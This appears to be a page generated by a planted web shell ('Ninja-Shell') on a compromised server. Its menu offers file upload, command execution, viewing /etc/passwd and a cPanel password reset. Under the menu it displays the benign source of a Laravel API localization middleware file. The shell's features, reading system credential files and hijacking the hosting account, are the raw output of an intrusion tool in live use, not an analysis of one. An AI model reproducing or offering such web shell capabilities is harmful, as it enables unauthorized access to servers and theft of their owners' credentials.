{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//arsu/app///Http/Middleware/APILocalizationMiddleware.php
<?php namespace App\Http\Middleware; use App\CPU\Helpers; use Closure; use Illuminate\Support\Facades\App; class APILocalizationMiddleware { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { $local = ($request->hasHeader('lang')) ? (strlen($request->header('lang')) > 0 ? $request->header('lang') : Helpers::default_lang()) : Helpers::default_lang(); App::setLocale($local); return $next($request); } }
./Ninja\.